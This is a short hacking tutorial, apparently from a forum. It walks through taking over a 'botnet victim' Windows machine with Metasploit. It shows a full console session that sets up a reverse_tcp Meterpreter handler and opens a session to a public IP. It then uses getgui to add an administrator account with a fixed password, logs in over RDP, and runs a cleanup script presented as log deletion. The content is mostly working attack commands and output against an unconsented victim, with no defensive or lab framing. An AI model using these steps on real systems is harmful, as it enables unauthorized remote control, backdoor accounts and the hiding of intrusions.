First of all exploit your victim

I am just going to Make my botnet vicitim download the metasploit backdoor so a meterpreter session opens

Code:
[*] Please wait while the Metasploit Pro Console initializes...
[*] Starting Metasploit Console...

 _                                                      _
/  \  / \        __                          _   __    /_/ __
| |\ /  | _____  \ \            ___   _____ | | /   \  _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | | | |  || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | |_ \__/ | |  | |_
      |/  |____/  \___\/ /\  \___/   \/      \__|     |_\  \___\


       =[ metasploit v4.1.1-release [core:4.1 api:1.0]
+ -- --=[ 754 exploits - 418 auxiliary - 108 post
+ -- --=[ 228 payloads - 27 encoders - 8 nops
[*] Successfully loaded plugin: pro
msf > use exploit/multi/handler
msf  exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(handler) > set lhost 192.168.0.2
lhost => 192.168.0.2
msf  exploit(handler) > exploit
[*] Started reverse handler on 192.168.0.2:4444[*] Starting the payload handler...[*] Sending stage (752128 bytes) to 190.95.99.131[*] Meterpreter session 1 opened (192.168.0.2:4444 -> 190.95.99.131:53835) at 2011-12-20 13:19:09 +1030

meterpreter >
Now we are going to see what commands are in the getgui

Code:
meterpreter > run getgui
Windows Remote Desktop Enabler Meterpreter Script
Usage: getgui -u  -p 
Or:    getgui -e

OPTIONS:

    -e        Enable RDP only.
    -f   Forward RDP Connection.
    -h        Help menu.
    -p   The Password of the user to add.
    -u   The Username of the user to add.
We are going to add the Username and Password to the Computer 

Code:
meterpreter > run getgui -u s3rver -p hacked123[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator[*] Carlos Perez carlos_perez@darkoperator.com[*] Setting user account for logon[*]     Adding User: s3rver with Password: hacked123[*]     Adding User: s3rver to local group '╧εδⁿτεΓα≥σδΦ ≤Σαδσφφεπε ≡αßε≈σπε ±≥εδα'[*]     Adding User: s3rver to local group '└Σ∞ΦφΦ±≥≡α≥ε≡√'[*] You can now login with the created user[*] For cleanup use command: run multi_console_command -rc C:/Users/doct0r.exe/.msf4/logs/scripts/getgui/clean_up__20111220.2802.rc
Now you can go log on to that Computer

Code:
s3rver@s3rver~$ rdesktop -u s3rver -p hacked123 190.95.99.131
Now you should be logged in to that Computer

I will show you how to clean the Log's

Code:
meterpreter > run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up__20110112.2448.rc[*] Running Command List ...[*]  Running command execute -H -f cmd.exe -a "/c net user s3rver /delete"
Process 288 created.
meterpreter >
The logs should be deleted now